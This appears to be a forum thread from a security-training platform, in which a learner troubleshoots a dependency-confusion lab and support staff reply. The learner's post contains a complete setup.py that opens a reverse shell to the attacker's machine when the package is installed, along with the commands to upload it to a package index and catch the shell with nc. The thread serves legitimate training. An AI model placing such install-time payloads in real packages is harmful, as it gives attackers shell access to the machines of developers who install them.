Forum Discussion

Sheapndr's avatar
Sheapndr
Icon for Bronze I rankBronze I
2 months ago

Threat Research: Dependency Confusion Q8

My reverse shell doesn't seem to be working and my listener is spitting out this error every single time:

"iml-user@dependency-confusion-desktop:~$ nc -lvp 4242
Listening on 0.0.0.0 4242
Connection received on humble.pie 50074
dependency-confusion-target:/tmp/pip-install-f7fjilfu/flask-auth-humble-pie_e42ebccc41e140c7a74896ea6e23e5eb# ^[[5;31R"

I have only been copy and pasting the instructions into the terminal but in case I've went wrong there here's my commands and python code:

"iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ vim setup.py
iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ python3 setup.py sdist
running sdist
running egg_info
creating flask_auth_humble_pie.egg-info
writing flask_auth_humble_pie.egg-info/PKG-INFO
writing dependency_links to flask_auth_humble_pie.egg-info/dependency_links.txt
writing top-level names to flask_auth_humble_pie.egg-info/top_level.txt
writing manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt'
reading manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt'
writing manifest file 'flask_auth_humble_pie.egg-info/SOURCES.txt'
warning: sdist: standard file not found: should have one of README, README.rst, README.txt, README.md

running check
warning: check: missing required meta-data: url

warning: check: missing meta-data: if 'author' supplied, 'author_email' must be supplied too

creating flask-auth-humble-pie-1.0.4
creating flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying files to flask-auth-humble-pie-1.0.4...
copying setup.py -> flask-auth-humble-pie-1.0.4
copying flask_auth_humble_pie.egg-info/PKG-INFO -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/SOURCES.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/dependency_links.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/not-zip-safe -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
copying flask_auth_humble_pie.egg-info/top_level.txt -> flask-auth-humble-pie-1.0.4/flask_auth_humble_pie.egg-info
Writing flask-auth-humble-pie-1.0.4/setup.cfg
creating dist
Creating tar archive
removing 'flask-auth-humble-pie-1.0.4' (and everything under it)
iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ twine upload dist/*
/usr/lib/python3/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.15) or chardet (3.0.4) doesn't match a supported version!
  warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
Uploading distributions to http://pypie.org/
Uploading flask-auth-humble-pie-1.0.4.tar.gz
100%  3.8/3.8 kB 00:00 ?
iml-user@dependency-confusion-desktop:~/flask-auth-humble-pie$ cat setup.py
#!/usr/bin/env python3

import os
import pty
import socket
from pathlib import Path

from setuptools import find_packages, setup

# Stops us infecting ourselves
if not Path("/home/iml-user/Desktop/check_for_this").exists():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("10.102.37.119", 4242))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)

    pty.spawn("/bin/sh")

setup(
    name="flask-auth-humble-pie",
    version="1.0.4",
    author="no one",description="package",
    long_description="long package",
    long_description_content_type="text/markdown",
    zip_safe=False,
    packages=find_packages(),
    include_package_data=True,
)"

I've also attached my machines but this is not the first time I have encountered this problem and have reset the machines multiple times:

  • Desktop - "10.102.37.119"
  • PyPI Server - "10.102.4.14"
  • Target - "10.102.51.118"

Any help on this would be appreciated ASAP. I really need this lab completed.

  • Hey Sheapndr

    Just following up from what my colleague MaxCucchi posted in his reply, we did raise your lab issue to our Cyber Team to see if they could provide some additional information to help you.

    I'll share below their comments, so let us know if this helps you with your lab attempt:

    "This is expected behaviour - the user has got the shell! This line shows they are connected to the target (it does look a bit strange):

    dependency-confusion-target:/tmp/pip-install-f7fjilfu/flask-auth-humble-pie_e42ebccc41e140c7a74896ea6e23e5eb# ^[[5;31R"

    But, they can interact with the target and find the token by just running cat /root/token.txt in the terminal once they see this."

  • MaxCucchi's avatar
    MaxCucchi
    Icon for Community Support rankCommunity Support

    Hi Sheapndr

    Thank you for raising this question in the community!

    I have been working with our internal teams to review this lab and can confirm that the lab is working as expected.

    That said, From looking at the code you have provided here, some suggestions may help you proceed!

    First, you must ensure you have created the “check_for_this” file on the Desktop before running the code. You should also ensure you check for the additional variables that need to change in the setup( section. 

    The correct version is printed on an additional page of the website, which can be found by looking at the target source code (this same page has the vulnerable package name printed on it).

    I hope that this helps get you in the right direction 😊

  • ChrisKershaw's avatar
    ChrisKershaw
    Icon for Community Support rankCommunity Support

    Hey Sheapndr

    Just following up from what my colleague MaxCucchi posted in his reply, we did raise your lab issue to our Cyber Team to see if they could provide some additional information to help you.

    I'll share below their comments, so let us know if this helps you with your lab attempt:

    "This is expected behaviour - the user has got the shell! This line shows they are connected to the target (it does look a bit strange):

    dependency-confusion-target:/tmp/pip-install-f7fjilfu/flask-auth-humble-pie_e42ebccc41e140c7a74896ea6e23e5eb# ^[[5;31R"

    But, they can interact with the target and find the token by just running cat /root/token.txt in the terminal once they see this."